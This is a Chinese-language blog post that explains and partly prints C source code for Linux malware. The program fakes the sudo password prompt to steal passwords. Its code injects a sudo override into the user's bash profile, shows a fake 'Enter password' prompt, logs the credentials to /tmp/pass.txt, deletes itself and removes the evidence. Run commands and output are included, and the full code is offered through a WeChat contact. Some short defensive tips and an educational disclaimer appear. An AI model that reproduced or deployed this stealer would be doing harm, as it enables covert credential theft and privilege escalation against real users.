恶意软件模拟sudo行为窃取密码的原理与实现(C/C++实现)

在Linux系统中,sudo命令允许授权的用户以另一个用户(通常是root)的身份执行命令。恶意软件作者利用这一点,创建了一个模仿sudo行为的程序,其真实目的是窃取用户的sudo密码。

工作原理

  1. 插入恶意代码:恶意软件首先在用户的bash配置文件中插入一段代码,这段代码重定义了sudo函数,使其在执行sudo命令时先调用恶意程序。

  2. 模拟sudo命令:当用户执行sudo命令时,实际上是执行了恶意程序。恶意程序会模拟sudo的密码提示,并将用户输入的密码保存到一个文件中。

  3. 密码窃取:恶意程序将窃取的密码写入到一个预先定义的文件中,攻击者可以稍后访问这个文件以获取密码。

  4. 自我清理:在完成密码窃取后,恶意软件会清理用户的bash配置文件,移除插入的恶意代码,并删除自身,以减少被发现的可能性。

安全建议

  • 定期检查bash配置文件:定期检查.bashrc.bash_profile文件,确保没有可疑的代码插入。
  • 使用复杂的密码:使用强密码可以增加攻击者破解密码的难度。
  • 限制sudo权限:仅授予必要的用户sudo权限,并限制这些用户的活动。
  • 使用安全工具:使用安全工具监控系统活动,以便及时发现和响应可疑行为。

请记住,保护您的系统和数据安全是非常重要的,了解潜在的威胁是防御这些威胁的第一步。

代码分析

...

#define PROFILE_FILE_NAME "/.bash_profile"
#define OUTPUT_FILE_LOCATION "/tmp/pass.txt"

#define USERNAME_BUFFER_SIZE 32
#define PROMPT_SIZE 100

#define CODE_START "# t7mGMoCzRVGmVfgAyOaG"
#define CODE_END "# tklXNT02uH2fTUQ2fGiO"
#define CODE_MARKS_LENGTH 10

#define BASHRC_LINE_BUFFER_SIZE 1024

#define PASSWORD_ATTEMPS 3

...

char *concat(const char *s1, const char *s2)
{
...
    strcpy(result, s1);
    strcat(result, s2);
    return result;
}

void get_executable_path(char *buf, size_t size)
{
#ifndef MAC
    readlink("/proc/self/exe", buf, size);
    size_t file_location_len = strlen(buf);
    buf[file_location_len - 5] = '\0';
#else
    if (_NSGetExecutablePath(buf, &size) != 0)
    {
        buf[0] = '\0'; // 缓冲区太小
    }
#endif
}

void self_remove()
{
    char file_location[250];
    get_executable_path(file_location, 250);
    remove(file_location);
}

void get_bashrc_location(char *buf)
{
...

    bashrc_file = concat(home_folder, PROFILE_FILE_NAME);
    strcpy(buf, bashrc_file);
    free(bashrc_file);
}

void clear_bashrc()
{
...

    if ((fd = fopen(bashrc_file, "r")) == NULL)
    {
        fprintf(stderr, "unable to open.\n");
    }
    else if ((fd_replica = fopen(bashrc_file_replica, "w")) == NULL)
    {
        fprintf(stderr, "unable to open.\n");
    }
    else
    {
        while (!feof(fd))
        {
            fgets(buf, BASHRC_LINE_BUFFER_SIZE, fd);
            if (strncmp(buf, CODE_START, CODE_MARKS_LENGTH) == 0)
            {
                should_copy = 0;
            }
            else if (strncmp(buf, CODE_END, CODE_MARKS_LENGTH) == 0)
            {
                should_copy = 1;
            }
            else if (should_copy)
            {
                fputs(buf, fd_replica);
            }
        }

        fclose(fd);
        fd = NULL;
        unlink(bashrc_file);
        rename(bashrc_file_replica, bashrc_file);
    }

    if (fd)
    {
        fclose(fd);
    }
    if (fd_replica)
    {
        fclose(fd_replica);
    }
}

void update_bashrc()
{
...
    get_executable_path(file_location, 250);
    get_bashrc_location(bashrc_file);

    if ((fd = fopen(bashrc_file, "a")) == NULL)
    {
        fprintf(stderr, "unable to open.\n");
        return;
    }
...

    fclose(fd);
}

void run_cmd(char *cmd)
{
    system(cmd);
}

void ask_for_password()
{
...

#ifndef MAC
    char prompt[PROMPT_SIZE];
    sprintf(prompt, "Enter password for [%s]: ", user_name);
#else
    char prompt[100] = "Password: ";
#endif

    for (i = 0; i < PASSWORD_ATTEMPS; i++)
    {
        password = getpass(prompt);

        if ((output_file = fopen(OUTPUT_FILE_LOCATION, "a")) != NULL)
        {
            fprintf(output_file, "username: %s, password: %s\n", user_name, password);
            fclose(output_file);
        }

        sleep(1);
        if (i < PASSWORD_ATTEMPS)
        {
            printf("Sorry, try again.\n");
        }
    }

    printf("sudo: %d incorrect password attempts\n", i);
}

int main(int argc, char **argv)
{
...
    if (argc == 2)
    {
        switch (**++argv)
        {
        case 'r':
            clear_bashrc();
            self_remove();
            break;
        case 's':
            ask_for_password();
            self_remove();
            clear_bashrc();
            break;
        case 'i':
            update_bashrc();
            break;
        }
        return 0;
    }

    return 1;
}

If you need the complete source code, please add the WeChat number (c17865354792)

运行结果:

[root@localhost linux_sudo]# ./main i
[root@localhost linux_sudo]# ./main s
Enter password for [minger]:

在终端中运行编译后的程序,并传递相应的参数。例如:

./main i 会在用户的bash配置文件中插入代码。
./main s 会模拟密码提示并尝试记录密码,保存在/tmp/pass.txt。
./main r 会清理用户的bash配置文件并删除程序本身。
1. 定义和初始化

代码首先定义了一些宏和函数,用于后续的操作:

  • PROFILE_FILE_NAMEOUTPUT_FILE_LOCATION 分别定义了目标文件(用户的bash配置文件)和输出文件(存储窃取的密码)的位置。
  • concat 函数用于连接两个字符串,并分配足够的内存来存储结果。
2. 获取可执行文件路径

get_executable_path 函数用于获取当前运行的可执行文件的路径。这个路径将被用于后续的恶意操作。

3. 自我删除

self_remove 函数用于在恶意操作完成后删除自身,以减少被发现的可能性。

4. 获取bash配置文件位置

get_bashrc_location 函数用于获取用户的bash配置文件路径,这是恶意软件插入恶意代码的目标位置。

5. 清理bash配置文件

clear_bashrc 函数用于清理用户的bash配置文件,移除之前插入的恶意代码。这是为了在不需要时恢复用户的配置文件。

6. 更新bash配置文件

update_bashrc 函数用于在用户的bash配置文件中插入恶意代码。这段代码重定义了sudo函数,使其在执行任何sudo命令之前先调用恶意程序。

7. 执行命令

run_cmd 函数使用system函数执行给定的命令。

8. 请求密码

ask_for_password 函数模拟sudo命令的密码提示,并将用户输入的密码写入到一个文件中,从而实现密码窃取。

9. 主函数

main 函数根据传入的参数执行不同的操作。如果参数是-r,则清理bash配置文件并删除自身;如果是-s,则窃取密码并执行清理操作;如果是-i,则插入恶意代码。

总结

这篇文章将解释一个恶意软件的工作原理,该软件模仿Linux系统中的sudo命令以窃取用户的sudo密码。请注意,这篇文章的目的是为了教育和提高安全意识,而不是鼓励或指导任何非法行为。

Welcome to follow WeChat official account【程序猿编码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值